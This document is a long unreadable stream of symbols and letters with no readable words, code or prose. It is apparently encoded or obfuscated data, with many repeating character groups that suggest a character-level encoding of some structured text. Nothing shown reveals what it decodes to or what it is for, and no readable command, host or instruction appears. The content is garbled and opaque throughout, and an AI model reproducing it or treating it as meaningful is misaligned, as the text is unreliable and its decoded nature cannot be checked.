E]E???eY@R\[{TXPgPAGZaZZY^\As\M?eY@R\[`g|]AAEFR\A]@WVZXFZE]\TX\AV]PYYGPAGZAZZY^\AS\M?qPFVG\EA\Z[vZXETVAVZ[AP[AQPY\CPGLAZZY?cPGF\Z[ ?t@A]ZGfZE]\Tx\AV]PYY?y\VP[FPreyZGYTAPG?aPMAqZXT\[GPAGZAZZY^\AS\M?gPD@\GPFTAYPTFA ?gPD@\GPFe}e??fvc?\SS@[VA\Z[jPM\FAFWW]YL^QYEQ[YQPS\[PQfvjvzgpjwzzajcpgCPGF\Z[jVZXETGPFAG\[RfvjvzgpjwzzajcpgII\FFPAryzwtyfnFVjWZZAjCPGhCPGF\Z[jVZXETGPFAG\[RryzwtyfnFVjWZZAjCPGhNS@[VA\Z[^D @Y_\LOY\A\NFATA\VT[@YY\ST[@YYNTTGGTLjXPGRPTGGTLWOUZpiiBiiozNPepGe{Gs]oGii_]psp~]GiiPepGeUiiUTYiicTpsBopsB]pPpsBpsBG]BGePepGeBsB]UiiiUTYiicT[j~]Gp]B{Gs]oGii_]pspEoG]G{Gs]oGii_]pspsoE{Gs]oGii_]pspBGeo	{Gs]oGii_]pspsGep	pii~siisii]Bp	pii~siisii]B[s]pii]B]pii
B]sePUiiYIYiicT
joGsGs[[piissGiUcTpiisii{]_{Gs]oGii_]pspBeesEBeesEUiiYIYiicT[pii\]B[oBiioBE]piipsB]G~TGGTL]pii]B]pii{]{]ii~siioGsGsp{Gs]oGii_]psp	Nk^_|Ap|sV{e[~]Gp[BeesE\{]ii~siioGsGsp\~siios]oG{Gs]oGii_]pspesiios]oGes]ii~]Gp]piieBBe	]GiieBBe	eBBe	iiep{]ii~siioGsGsp]piipsB]G~B~iiesE[[gnOyMuQQQmng[[{]s]{]p]rpiiBoGii{sEpiie	oeiiseeEii~siiBp]oGOIyIiiOwIpsBsoo
BOIyIiiOwIeeEpsBop]spoG]spEiipe]iiGe]IIOiiiIZcOIyIiiOwI]sp]G]ii~s]G]ii~soGiiPep]BBeesE_opsBopcWiiYiI\piioiiGpiioiiG]piioPssEoii_]pspTGGTL~siieBOIInIiilubb}nAm{o{oGUiiYIYiicT[]pii]B[piiopiioii{E]piieBBe	piioiiGpiioiiGpiioii{Epiioii{Epiioii{Epiioii{E^B	OIInIIOIiilubbmcTOiiwTIiiicOEBo
ePMnpPpsBMn]piipsB]G~pPpsBMnpiiBBoBppiiBBoBpoGspiiBBoBppiiBBoBpeBBe	iip]piiBBoBpeiies]oG]piipsB]G~eii{]sB{Gs]oGii_]pspUiiYIYiicT[pii[eE[]G_E]pii]B]pii
B]seP]pii]B]pii
B]seP]BGepiiB~TGGTL]piieBBe	piiB~piiB~BeesEpiiB~piiB~piiB~BeesE{Gs]oGii_]pspB~]psBiipEso
Gii{Gs]oGeoaaii\iiEapiiB~]piieBBe	piiB~EooeEii]Ge]es{Gs]oGii_]pspBBoBii~siieps]piieBBe	{]s	ppe~ppe~o
noB	np]rie_]n_s]oGns]BeesEBeesEBeesE]piipsB]G~piiPoosiiBpiiPoosiipseBpseseE{]p]rE[^ii[Piis]{Gs]oGii_]pspesiios]oGpiiesiiPes]Go]BGe{Gs]oGii_]pspes]ii~]Gp]GiieBBe	eBBe	ii]{{{e]o{{BGeTGGTLoeEii]Ge]esEo{{{]s]s]]BGe]pii]B[piiPepGe{]ii~siioGsGsp]piipsB]G~[QQQ[F{]iisiioGsGsp{Gs]oGii_]psppiiG]G~ii]Ge]es~]GpiioeB|k_	_p^iirPzAVP|^|a
arGt^~e\AAA_o	pesE]G{o{]p]rB~iiesE[[gnOyMuQQQmng[[es]ii~]Gp]piis]p]s{Gs]oGii_]psp~siip]siios]oGes]iip]s
]ii~]Gp{]ii~siioGsGsp]piipsB]G~[[gnOyMQQQng[[esEBeesEe~oGpiiiisoo~]GpiioeGoiitkp~iiEEzoo~zpseBs]G~oG]BBe]BoG]B{Gs]oGii_]pspop]B{Gs]oGii_]pspTGGTLpeG]BeBBe	iiep{Gs]oGii_]psp~oP~oP[geBBe	iiePepGe]piipsB]G~H`soGii~siielIYiiUOI]piieBBe	A_Vk\Naa\|t||kAPtVaw|aP{VAaIAtzA_|zVaI\zwN\V|zcakaaka|tIcePPVPA_tN\z\IwkAaVtkAe|VAWtVzkkVz\c\AePWWEsspM[[A_B]o[sEEsspM[[sEBjP]Go]peEsspM[[sEBoB~EsspM[[BsE~es
e	{EsspM[[sEPoBeroB_	rEsspM[[P]jsEGo
Gop]oEsspM[[sEje]GGsB{epso`e]ii	_PEWTa~|OYiaPBUh~
XOt~NZk
w]~SOUyS_BpI
T{EsspM[[sEaeeP]EsspM[[sEBP_BPGoEsspM[[sEje]GGsP]Pepse]]oEsspM[[~es
e	sGB	o[P][e]GGsEsspM[[sEBBpP^B	Gs
oB[P]EsspM[[sEBjBP]GooEsspM[[e]GGs~es
e	sGB	oEsspM[[sEe]oG{]Ge]s	]o[P]EsspM[[sEBP]Po]Gs
oB[a[B[P]EsspM[[sEBjpoGjBpse	]oEsspM[[BpGs]o_	r[e]GGsEsspM[[sEB]oEsspM[[sEe]osGs
oBe]Giieiie]G]psBesoBiiPeii{Gs]oGii_]psp~rGo{Gs]oGii_]psp~r{eseBzN]piipsB]G~psBGGe~roTGGTL{Gs]oGii_]psp~r]G{espsBGpsBG{Gs]oGii_]pspE_NP]G]piipsB]G~psBGZg
je]G[
j]Gp[~oPgEeBBe	iiBeGs]
iiBeGBeGpsBGeiipBii{G
iiBosii~s
iiBosii~ss]osppB]{	]]siiBpoGpiip]r]pii
iiBBoBBii]G]sBiipsosiieBBe	Bii_UiiIYYOwIUiiTiIUiiOOiiyITwXUIIUiiOOiiyITwXZOUiiYUIOOUiiUIOOwYTYEssiioeiipBii{G
iiBosiiopss]osppB]{	]]siiBpoGpiip]rEeBpPo	]pii
iiBBoB]piieBBe	Mndn{Gs]oGii_]pspUiiUOUiiUOwTIcOUiiTiITGGTLUiiZUZIcI~siios]oGpiiepsiiBeBBe	iiGpE]{ssB]eBBe	iiBeGqpoGBqMqNAq}q]qMz}qsEoqMqsEiieq}qeBepqMfqeseqMqA_zP\zAq}qsoqMqq }qespsqR oGsGsj	e]es]oG[poG]Bos]sB]poGiioBpsBpsBpspsBopA_oBpPpsBpPpsB]piipsB]G~]piipsB]G~psBGBpoBiiB	sii{e]BpoBiiPeii	iiG~sEpPpsBeBBe	ii{]sBsB]B~iip]s[B`G[piiNiieE]opBBii	BpBpopBii	]piipsB]G~eBBe	iiepsB]BpBiieii{e]{Gs]oGii_]pspesiios]oGpB]e]rEBsiiBeGPeptiiGoTGGTL~siios]oG]piipsB]G~PeptiiopsBGEBoBUZUiiyIOTYiiTcGpB]e]reo
iieppppsBiiBep
p
iiBp
iieE]piipeeBpiiBBoBpBBoBpeBBe	iiB~eBBe	iiG]^BBoBpeBBe	iiG]^eBBe	iiB~BBoBp{pEiiBBoBppsBGpsBGoBpiie	oeiiBp]psGsBoGTGsBeBoGTGsBepii]GsBe]GsBe]pe	psone]GsGeGn]GsBepii~eBii]GsBe]pe	
iiG_siipE
iipEiiGspiiEe]Gs]siiBeGcTYiiYpEso
Gpkt^	P{]~_E{Gs]oGii_]psp
iiBosii~sp]siiB
jBoGE`o]G~ii
iiBoGPo]G~{eps~]ii{]G]pEiiB^psTGGTL{Gs]oGii_]psp]spii{]G]pEiiB^ps]~GoBiipBiiePoBs]~GoBiipBiiePoBs]G]ii~sr]PossiioBpp]oGoPii~siioPii~siiG~sEoGsGsjG~sEMnoGGs]oGMnopoPiiGii{pE{pE
iipEiip]G~iiGscTOWIiiUiiY~siios]oGpiiepsii{sEiisp~siios]oGpiipGiiBpiipGiiB{Gs]oGii_]psp
iiGpEiiGs{sEBoGiipseii]G]Gpsiis]ii]]s~siisBeGp]Gs]piieBBe	piie	oeiiBp]psGs~]Gp]piieBBe	pii~]GiiBp]Gsp]piieBBe	pii]GsiiBpppiippe~]piipsB]G~piie~e~p
p
piip
eE{Gs]oGii_]psppiiepsiiEeiisp{Gs]oGii_]psppiiEeiipeGpBpsBGTGGTL]piipsB]G~psBG]piipsB]G~piiepsiiEeiispGopPpsBEUiiUTYiicT~oP[g[gEeBBe	iiG]^B~iiBe[pQ[{]ii~siioGsGsp]piipsB]G~[pQ[psiisBeGp]GspiiEeiipeGs]Ee{Gs]oGii_]psp]iies]oGB~]psBiipEso
Gii{Gs]oG{Gs]oGii_]pspEoiiB~siios]oGs]piiepsiiEPGo{Gs]oGii_]pspe	oese	oess]piiepsii{sEii{e]iisppii{sEii{e]pe_]GBEpe]pp{Gs]oGii_]psp]piippp

iiBp]oGpBpPpsBpiip]piipsB]G~TGGTLpiippiioGpiiGpsBGpiiB^piipiiB]GspiioPpiipiioPiippiisp{Gs]oGii_]psppiipiiB]Gsiispp
iiBp
iiE]sppiip
iiiiE]spp
iiepspiip
iiiiepsp
iiEe{Gs]oGii_]psppiip
iiEeiie]pii{][eeGjeEE{]ii~siioGsGspiiP]pii{][PE{]ii~siioGsGspiio[oPsjeEE~ii~iiii~eB
j]Gps]ii~eB{Gs]oGii_]psppBii]G]{]Ge]piipsB]G~uGoGmpB]G]ii]G]esoiiBGii{]iiEs]pii{]EseppesoiiBGii{]ii
]pii{]
joG{]~E{]ii~siioGsGspTGGTL
joG{]~EOiiBGOiiiiUIUIYcUiilIiiyIOTYOUiiyzp~iieEBppiiB~iieEeppii_]pspeEiiIGePB
ii{epspsiieE{Gs]oGii_]psp
iieEiipBiieEii{]{iio{ii{e]ppii{sEii{e]p{ii{e]iisppiiepsii{sEii{e]iisp]{sps]]iiG]iiN{epiiPiioP]piipsB]G~piieGeB		]spBBpPpsBpPpsBp]siiB
jo~]GE
iio~]GiiBEoiiBeBpiiBUZUiiiiZO~siip]siiB~siiPo~]G{oB{Gs]oGii_]psp~siios]oGp]sBZUiiZOOIyIiiYiI{Gs]oGii_]psp]G]ii~sTGGTLe_ii_s]oGiis]psiis]ii]]s]Bos]]piipsB]G~pBBii	pBBii	GopiiepsiiNpE{{eBBe	iiGpE]{soGs~siios]oG[gE]piieBBe	oe]G~]GyBp]oG~]GBoosBsB]es]esU~]GpU~]Gpo~]GBe]Gpe]Gpoo]p
iipoGiiGopoGiiGooGsGsj	e]es]oG[ossjpsBe]piieBBe	Niis	nNiiB	sii{e]nsB]NiiPeiipoGn{sEiiBPeoGQ[jiipsBiip]s]Bos]oGs]Bos]piiPL]LGL]piieBBe	{Gs]oGii_]psppiiepsiiN{Gs]oGii_]pspsiios]oGTGGTLpiiBBoBppiiBBoBpeBBe	iiep~]G]piipsB]G~~]GseB~syBp]oG{oBes]Gsp]piieBBe	]Gsp]piipsB]G~piieEpiipp\piieEGoe~e~iieEp
p
piip
p
p
sesp]piieBBe	sesp~eBeeGeEeiisPPiissEsEiisEseppEsiispBTG]G]iis]GpseB]GpsiisooeBoiis]piiGB]]piiGB]BoGTGsBeBoGTGsBepiiepsii{sEiispr~

t\rkeoaspiie	oeiiBp]psGsTGGTLe	oespiie	oeiiBp]psGsGoBoGTGsBe
ii~siipEiiGs
iieBiipEiiEoos]piiepsii{sEii{e]iisp{sEpiiEe]G]piipsB]G~H`Eesp	Gse_iiBBoB[[gnOyMuQQQmng[[esBii]pesEGoiipGoiiB]BGes]G]G{Gs]oGii_]psps]osB]Bs]oG{Gs]oGii_]psp{Gs]oGii_]psp~siios]oGes]ii~]Gp]GiieBBe	Beii{e]psiisBeGp]GspiiBoBiiEEoiiB
iiBosii~s[`piiPs]osp]GiieBBe	GoesBoPeii{e]ii]BGe[^ii{Gs]oGii_]psp]piieBBe	]GiieBBe	piiBp]pseGeB	iiBoPeii[piiTGGTLpBpiiEe]GUiiUTYiicT~sii~]Gp{]ii_]psp
je]G[]Gp[~]GEB~iiesEpeGpii~]GiiBppsBop]BGe]piiBeeP]GEEsEsp]pii{]]Bos]]piieBBe	]pii]G]pii{]esE]G{oUZTYwiiIhIYOTYpsBopes]esii~]Gp
je]G[]Gp[~]GE{Gs]oGii_]pspUiiUTYiicT]pii]Bsii~]GpBBGsiipBiieG~siipBp
iipsiiBBGsiipBBoe]G]psBesoBGPBpsBopBeesEpsBopcTIXiiOIU]pii]G]pii]BB]BeBBe	ii	p]pii]B]piieBBe	UZTYwiiIhIYOTYEBpeGTGGTLpiiepsiiseGpiiepsiiseGs]pii{Gs]oGii_]psp
ii]pii{]s]E
joGsGs[~]Gp[g[gEPepGe]BGepsBopOiicUiiWITY[G`[gnOiicUiiWITYMufejrjSAjViiMRQmng[g`[gnOiicUiiIYcMang[G`[p{Gs]oGii_]psppii~]GiiBp]piieBBe	piiepsiiBpeGB]o]]~BespBii]Ge]~siisBeGp]Gspii]~ii{e]]pii]G]pii]B]pii
B]sePiiGosii
B]seP{Gs]oGii_]psp]pii{]\{]ii~siioGsGsp{]ii~siioGsGsp{]ii_]psp{]ii~siioGsGsp]piipsB]G~esiios]oG{Gs]oGii_]pspsiisBeGp]Gs~siios]oG{Gs]oGii_]psppii]G]s]e]rGo{Gs]oGii_]pspeiios]oGpiiepsii{sEii{e]iispGopEso
GTGGTL^ViiVpAN]
^z^~o]G]ssiios]oG
iiBosii~s
eB]piie]Ges]esii~]Gpes]oGes]eses]esjpssB]E]piieBBe	sB]
iipe{iiB]Bse]GiiB~]GpEpeGiiesBo]Gp~]GpBo]GpPEOiicWeeGjeEEOiicyBo]Gp{]ii~siioGsGsp[gniiWITYM[[gniiWITYMufejrjSAjViiMRQmng[g`[gniiIYcMang[[ppsp~]GppspPii{iiktk{a~AoPepGeEHps	FsBfesej~]GqqR}sBfesej~]GqqR]pe	MGoGD]oBseGs H[ps	FHpB]sFoGseIGs]psGBuqcioGsGsoeq}{Gs]oGumoGs^B	OsoBuqsBfesej~]GRqm{oBIeEu{Gs]oGuBmeBnB~sssB]Psuqesej~]Gqmd]{uqqqqmBBoum mdeBnoGs^B	OsoBuqpPpPpPnpspnoGsqmd]{umeBnGeBpTGsus_soGsGsBeu[fCAjVR[~}qqmmAd]{uGFAms_soGsGsquqQiesEe_uA}GjamQqmq  mdH[pB]sF{Gs]oGii_]pspe]ap
k
o|^
o_ii{espBsosBta^EVPepGe~sii~]GiieseYeTGGTLYe
j~]Gpjes]
j~]Gpj]Ges]{]p]piieBBe	{]ppsBop
jj~]Gp
j~]Gpjpsp[gnOyM[U~]GnYeMpgufCBGgRQm[]PepGe
jBo]Gp]piieBBe	
jBo]Gp{]pWOUZ
joGsGs[gniiWITYMpsBopessBGB~ii^os@E]G@[Boosp]piieBBe	]pii]GsessB]PspessB]PspUZUiiixiiyIOTYw]GBoGGsoB[
j{]jeGe~B[]P[E[w]GBoGGsoBeppE[{]jeGe~B[]P[E[w]GBoGGsoBeppE[{]jeGe~BjeeG[]P[E[w]GBoGGsoBeppE]pii{]eppEEeppnw]GBoGGsoBB~iiBe[CpgH`uEm`[eppniiOiiw]GBoGGsoBiieH`EniipiiE]iipiiE]ii]BH`Eneppnw]GBoGGsoBn_sGpniiOiiw]GBoGGsoBiienBossn{Gs]oGnossuneBBe	nesenmnE]nn]ppsunWOfqiipiiE]qRnmn`nWOfqiipiiE]qRnMnqqd]{nunE]nDnqqnLLn{Gs]oGii_]pspunqpii{ii{]sBqnmnmnTGGTLesennpii{ii{]sBunese}nE]nmdeBGsMMossunesenmd
ii{oA^Be|a_psk	]piieBBe	{]peEeG~sB]piieBBe	GeiipiiE]ii]BpsBG]piipsB]G~pB]pii{]pPpsB\{Gs]oGii_]psppiiBoBiiEpBpiiBoBiisEBossBoBpoBiis	sB]piiBoBiiE
iipGiiG
iipBiiGos]{]es]oGiisoiie]GiiiiBsBGii{ep
iiG
iipBiiGos]{]es]oGiie]iie]GBoiies]oGB~]psBiiG
iipB
iipGiiG
iipBiiGos]{]es]oGp]siipBiiBesiipB
iio~]G
iiGos]{	iie]GiiG
iio~]G
PeeP]]s]pIInTc}npBiio~]G}npBiiepp}npBiie]nwinnnTYYInxTYnnnYnTcnnpBii]nZIInseii	nnpnYcnseiienTlInpe]G]psBesoBso
ii~GBesiiesEiioo]UiiOpp]oGiioGp]piieBBe	s]pBiiesEesEOIIiiZiilTITGGTLZiilTIIciiTYiilTIlTIiiciTYlTIUZciTYiilTIiiUZ[
je]GIwOI
iie]]pp{Gs]oGii_]psp~siios]oGpBiiseppp]oGiisoGpoGs_]Bes]oGoGs~sii]GpseGo~~ii]GI
ii~GBesiiesEiioo]oo]p
iie]]piieBBe	PP]piioPsEepiiee]G]psBesoB]sps]Go]GsBs]piieBBe	]piieBBe	o~]Gii{[CB~ii^osfej{AjVRt}aA [pPpsBBEsG|G|BokNA\z]^os]{Gs]oGii_]pspesiios]oGs]]piipsB]G~]BGeTGGTLpB{]iisiioGsGsp]oeso]iiGoii]BnPepGeeso]iiPeiiEn]pii{]eso]iiGoiisGenpsBGpii
P{
B]spPpsB{Gs]oGii_]psp{p	G{]iisiioGsGspeso]iisii{e]neso]iipEoBsii
B]snpo{]ii~siioGsGsp]piipsB]G~]piipsB]G~]piipsB]G~]oeso]iiBGeii{e]n{]ii~siioGsGsp\{Gs]oGii_]pspEepEii{]]piipsB]G~]piipsB]G~pPpsBeso]iiB]{	ii{e]n]piipsB]G~EepEii{]eso]iisE]BiieBs	nPepGe{]iisiioGsGsp]pii{]]piipsB]G~VkeE{{\NGiiopp{Gs]oGii_]psppiiPs]siiBeGs]osppB]{	B]Bs]oGEeBpeEjoGsBoTGGTLGojeE{Gs]oGii_]psp{Gs]oGii_]psps]os]pii
iiBBoB[G`HT{ionoiiEfAjVRgFpgEiienesoiiBGii{]fCGRgfCGRgGH[T{ioFG`[][G`HT{ion]spFpgEiienesoiiBGii{]fCGRg[G`EiienesoiiBGii{]fCGRgfCGRgG`[]{Gs]oGii_]pspoeEii~siipsespoeEiiGeP
B]sii{e]n
PPepGe{o{
B]s{Gs]oGii_]psppsiisBeGp]Gspiie]Giis]piie]Gii]G{]~Espiie]Gii]G{]~Es~siios]oG{Gs]oGii_]psppBGeii_]pspe]Giis]~siios]oG{Gs]oGii_]psppBGeii_]psp]piieBBe	_eo{Gs]oGii_]psp
iipsiiepp
oBGoeBBe	iiBeGe]Go]p]oG{Gs]oGii_]psp
ii]GpBsiipB{]ii_]psp
j]Gp[pBEpBiio~]GpBiiepppBiie]Boe]G]psBesoB]pe	iiGeGoii
P
iiEepEiiepp
oBTGGTLBBGsiis]	p^XjjnZM]MppBiio~]GpBiiG]GepBiiB~]psBpBiipsesppp^ii]GpBsii{e]pBii]seii	seiieseii	pBiippeGiipBiieEe]GB]{	ii{e]{Gs]oGii_]psp~siipBiiP	o~]GpBiieGeiiB]{	ii{e]
iisiipBWOUZ
je]G[]Gp[pBEGo^B	ii
EBpsBopnYcnpBiio~]GnDnbE]ii^~siios]oGPe[uuQmm[B~iiBe[uQm[E]iiGsPo~]GiiiiGosii]Go~]GiiiiGosii]GE]iiBps]piipsB]G~]BGe]BGeeBBe	iiB~]piieBBe	]pii{]TGGTLUZTYwiiIhIYOTYE~siios]oGps	pEssesUiiYIYiicT[sEp
joGsGs[sEpeBBe	iiG]^psBop[essBGp]pii]B]piieBBe	psBG]piipsB]G~]Gsiia]Gs[]BGe[Eo[eB[


[eB[


[Eopsp[eB[


[Es[pB[


[pB[pBp[pB[oe[


]G]ii~s]G]ii~soGiiPep]BpsBopsB]eBBe	iiG]^]Bos][
joGsGs[j~]Gp[
joGsGs[~]Gp]pii]B]GpsepiipBeii]GsBepBepiipBeiiGBGoiiBoosp[
joGsGs[~]Gp[piipBeii]GsBe[
joG{]~E[
joG{]~E[{]GpgupgfbqRcWiiYiIfbqRpg}pgfbqRufCbqRQmfbqR[[sePiiB{]_pgpgfbqRufCbqRQmfbqR[[CfejrjSAjViiRQ[
PTGGTL^B	B~iiesE[CfejrjSAjViijRQ[es]esPiiGeiiBsvvos]oGpvOnYOTYIInos]oGiienwinnZIInos]oGiiGennbes]ii~]GpbnTiTnanwnUcIWlWliiTUcInnOInos]oGiiennpnZIInos]oGiiGennes]esesii{e]Wl]piioPs
P]piioPs{Gs]oGii_]psp~r]G{esyEBVw{NQAWy]WYNGZEeA{WyGess_xBXGZaOsw	SW]ywp~WoSZazzpWG_Sszir{{wrAUAkYY	sy~Bi	yr{E^xytp[EWBk_P[OEYhB_opaS\QwYIGpEw	yTEI~xBUOY\ha_t\[Ur	[_xp
r^elcsz^W^
i_|_
|YAtGVX\t[x|yOiTIS[NP
YpP
|
P|AEOPs]ci\[[r_AaVBG[ce
Uohtaowe|zGGx~i^WhIUlAV~|c{^B|rs]kyQIyIQly|y\T\h
ZY	Ix_~\[QSP]t||Wxzx|P__zTewXOTe
Eo_ZrekVzSGrkeX\apaa^lQ|aEEWe{UE|cazi[	X{z\AG[zGZr
ETtpUesA\[SBE_NAEXwrz|XN
rUkV	rcrlpGOBkzYNO~hZty[Te_p	]|XT{^\ciNsNWS\T^PXWzZVQIP	YQccsUSP~T]oANael^WG|^TE|cSTrx|Tr]ksO{ka	o]Xtaa
Q	UQyVaTQ
|WUchQBTyOV~\pB	PWQZQT~T]kTUAt_Q\{B~^i_XxpWii^Wy~O
QOeUaYScUc^{c[hGGsa]BYlPhUkNBA[
^o\k~pVpasx^SpUBWIAQOV]UW_tlXyITEkBta{zG^yXi\tGplS]GT|TrIyVoYQrEsYpSzw[zBA|iSOEps_NoVIl[Y[A
GOX{lczpwt{hapQXWTENG{[~|
XaaO[iPB]Sz{yPUGlaPe\YYW_Y
sPSIeh{BE~~~|^PXlUP_Xx]cZPG
aw_i~UZzxPVhkzTZ[]ipVas[VhyxYZ
|w
i{A_Xk[NxNkTzkk
yQAik
y~WcXw|\hzQ
Q[Xz[xVxr\XQQcIWrZOe~\BsZA[kzyNXxIlA\I|wzEBWSQZs
~EhZklzpy{EB{ekaWky[	k{AVU|	GhXU
ZB
xXz_Pcx
Y_Y_|	_s]oxTAokxQxlxcIU_r~t[eEA
I\~BaTVxxp\Ipkz~pOSshS|^wIr[{reiX~w\_|losOx|ZyExZ[t^k|YhyoEtVXwyB
c{|iap
oN]hXpp\_A\	cU]G{sQlh{EZa[NySEVyXP^ppeVaS
X[peUlrlUVp[xWA[~|Az	ilpV|~pUAZkQNEkStBTN_BXIGByzi_	eO{~wUz	yaWB|SXleN\k	AlSSsI		~QVX{BIo{pESwBiTa{Te_PXTcWVeBT|]reUoPNTGP
[z[rTPXilPYZl~	okX_EhE{p|cl~e]]ZoXTealEIr	p^lUe{|ayGOAOOeZia	ZENtUthctkcwtS[OXI^kwce[BkBZzhhhlppyBUe{	U_z_Qw

IVi	sxkweSiOo^IBzczBOk_i\\
eikOZTk[eZ_G\pTh	{r{yyiWaZEt^phPP~PitwrzhIwQUEpwPSywYly\yeUtEt^{wUpiBc~NNS|TeExrG{t	G]UXpPschwTSzIy|Ahs_
Xw{k]P[xT^T~Elt_lcA^zrtQo{ctsU|X\tYPS^kQEzNPzziYIU\Ysokepwr__WtScQ|Bae]saW~xWTSU
Q[o_ZoUEW|QyySYAlkPyx|~	ocYe
GIOA{Z[Yw\isIzw\QBYA
ONO[EySyxG|\X_pa~QE	IiehNEN
E~xaZIVh[yaNWS]SaxNt{IV\ppTTBYs\_WArZe_TeNZZ{N{Xt\l_QVEpX\cX^^VwrUaIpUo~x^ToyEaV_kZSEQyOs|IlaZrzsShyUB_y	BeY_cNzEYaPzWVGiBY[_r[rs~UcaOQ	[xW
E	Wp
hX[NWGoQelsyV[Oh|e[W

Zs_XI]lyX{~O\|y{h{_{{AwApyQlwIUVXQ_EsPkhTNxlziZ^ryotokitSWeA\WOAN]SYWOe\ZwVPQNYXOGN\wUQ{l	iw
OTiE~\xAx	BZPkcrWt~Si\^N	wzTTxE^UUTpi|hwoiX{zPPUt^GlaOA
^YcY\ezaiVXyUOzT^Z[U|kE	~	QOV~sXUzhYz_UlVkwhWc^r_P[tVEYSSGy	epzG~^[BGTw^PTaTceikzOwUeEzYt{olVU	YisaVhTzOUAGc
awsV{eIW	[OzT~G{{wryiAYxoZBWT
PQ_z^EGhiXozV	t|EOaEP{QAG
{iEcXaI
tZkGIaA_pyUlz	Ytha|i^AWl[WY\QS
iITWQNQepEIhX]^OtQTSW[Eo	PcSOxA{GStpxsWiAO~ek[lEA	BBoQ~ltYz
YQG~SkNB~y_NYo^EU
]piipsB]G~r]r]]GpsoGsGsiiB[
joGsGsEssM[[EsspM[[psBopsB]`[`]GpsB~iiBe@CEssp`M[[@]piipsB]G~piip
psBGpsBGGoeBpiiBpPpsBoGsBespBpTGGTLe]GWepr]Bp~]GpseBB
B]sl	
e~opBii	]piipsB]G~psBGpoGiiGoeBniiiiOiiWxOYeBpuesoPuqpoGiiGoqmmdeBniiiiOiiIYqqdp
iioG{]~p
iioG{]~iip]~\p
[`p
psBopsB]p
iiBGop
iieE]pii]B]Gpsiisp
]Gpsiisii]pp]G~p
ii]Gps~siisBeGp]Gs]piieBBe	]piieBBe	psBGpsBGWOUZpsBiiBespiip
piip
psBG]piipsB]G~e~iieE[eeGjeEEr~

t\rkeoas{]ii_]pspp
iipsEiipe]iiGe]G]ii~sTGGTLuGoGm]GpsE[pii]G]iie[]pii{]{]ii~siioGsGspB~iiBe[G`esoiiBGii{]pgpgfqbR`fCqbBGRgB~ii^osfCqbBGRgfqbR`B`G`[]piiUiiYIYiicT]G]G]iisii]pp]G~\[{]ii~siioGsGsp]piipsB]G~[esoiiBGii{]pgpgufqbR`mufCqbBGRQma[]GoGsB	]GiioGneBii_oBsd esEuEBo
ePnm esEuI_s]oGnm niip]BGeuiiiiwTIiiiimq[]{u]pii{]uiipmmiip{]ii~siioGsGspuiipmd]{u]piipsB]G~uiipmm]{upsBGuiipmFaA|\ktmiipB~iiBeub[uG[gfAjVej{RaAAA} g[mQ[b}bb}iipmd]{u]piipsB]G~uiipmLL\uiipmbbmsB	]GiioGniipd esEuEBo
ePnm esEuI_s]oGnm  Gpsuiipmd  Gpsuiipmd{]ii~siioGsGsp\]G]ii
Be{]ii~siioGsGsp]pii{]pii]G]ii{e]pii]G]iie]G]]B]siioG{]s]{]ii_]psp]piipsB]G~Beii{e]psBopBsB]esoiiBGii{]nnqpii]G]iiG]G~pii]G]ii{e]Gopii]G]iieTGGTLBoPii\AApii]G]ii{e]]G]OiiZiiUIUpii]G]iiG]G~{Gs]oGii_]psp]G]ii~s]G]ii~spBii]G]eEiissGopii]G]ii{e]pii]G]iiG]G~GoBoPiie[Esepps]oGpnjTG_pHw]piesEnqur]o~p^mqFHT{ionoiiesEriioBF^]BnenG]H[T{ioFHT{ionDoiiesEriioBFcG	n{BoneH[w]piesEF{]ii_]psp{]ii~siioGsGspEsEEsiispiiepsii{sEiispEsEsiisii]pp]G~Esepp[Esepp]G]ii~spBii]G]{]Ge]pii{]]piipsB]G~[esoiiBGii{]pgu`MpmpgufqbR`mufCqbBGRQma[]B~iiBe[CH`E[H`EnsB	]GiioGnd esEuEBo
ePnm esEuI_s]oGnm Bii{e]Esepp[EsepppiiEsiies]]piipsB]G~EsiioeB{]ii~siioGsGspTGGTLpiiEsii{e]Go]B]siioGEiienesoiiBGii{]{]ii_]psp{o{Gs]oGii_]psp{o]pii{]{onqnqnq{Gs]oGii_]pspoGsGopiiEsiiepiiEsiieWOUZ{Gs]oGii_]psposesiios]oGcWiiZOcWiiOIcWiiUOOceppii_]psp	p^]cWiiOIcWiiUOOccWiiYiI	p^]Mnoso[
joPsjeEjes{]p]r{]ii~siioGsGspoGsOcaGe~ropsBGpsBG\]piipsB]G~[CH`Epg[oii[gnOiiiiWITYMng[[gnOiiiiIYcMTGGTLH`En[gn
joPsjeEjng[n[gnOyMeGeB	iieBii{e]OiiiiWITYpsBop
joPsjeEj[OyMuQQQm[F[G`[gnOiiiiWITYMufejrjSAjViiRgMmng[g`[gnOiiiiIYcMang[G`[pBii{e]oB]GpiieeGeB	iieBii{e][gn
joPsjeEjWOUZ{]ii~siioGsGsp[COcaMuQQQmM[piioiiesiiopiioiiesiioesiioBBs]piipsB]G~OcaM\{so
joG{]~E{sopEoiioG{soEepEEepEpEeN\t\OOZiaMpsBGpEoiip]rpEoiiBe]piipsB]G~psBoppEoiioppEoii
B]spsBiiepEopEoiispEoiioGpsBiie]piipsB]G~[H`E[]pPpsB[CpgueBpgug`mpgdGepepQfCdRQpgdm[]pTGGTLpPpsBpPpsBH`En{Gs]oGii_]psppiiB]GpiipsBop~siios]oG{Gs]oGii_]pspesiios]oG]piipsB]G~_oBo]Gs~iio{ii
eBnPepGeEr]{so]GseOiicyiieeiisii]pp]G~{]ii~siioGsGsp]piipsB]G~eeii[gnOiicyiiWITYM[gnOiicyiiIYcMng[B~iiBe[[gnOiicyiiWITYMufejrjSAjViiRgMmng[g`[gnOiicyiiIYcMang[[pOiicyiicIcpsBoppsBopB~iiBe[fnsRg]{pgupg{]GpgupgfqbROiicyiicIcfqbRpgmpgmpgBsBGpgdfCBGRg[eB~iiBeeeeeGeB	iieBii{e]IIOiiiIZcpii~eB]pii
B]seP
j]Gp~ii[~ii[~_ii{]s]TGGTLs]s][~ii
j]Gp[s][~ii{]ii~siioGsGspB~iiesE[CQQQ[[~piis]~eBBeiippss]GoiipsespE]pii
B]sePUiiiUTYiicT[~]GpUiiYIYiicT~eBPeptiiGoPeptiiGoPeptiiGoPeptiiGoPeptiiGoPepGepiiepsii{sEiisp~eB~eBiisii]pp]G~~eBiisii]Ge][~ii\[~ii~eBpPpsBiioGspsBGpsBG]piipsB]G~psBG]pii{Biipepiieiio{{iisps]s]psBGpPpsB`FBeGoiiP	spP]GNE_psBGTGGTLg[]piipsB]G~[uB`G[gfAjVej{RaAAA} g[mQ[]piipsB]G~{Gs]oGii_]psp~siios]oG]piipsB]G~]pii{]piio
Giipiio
Giipiio
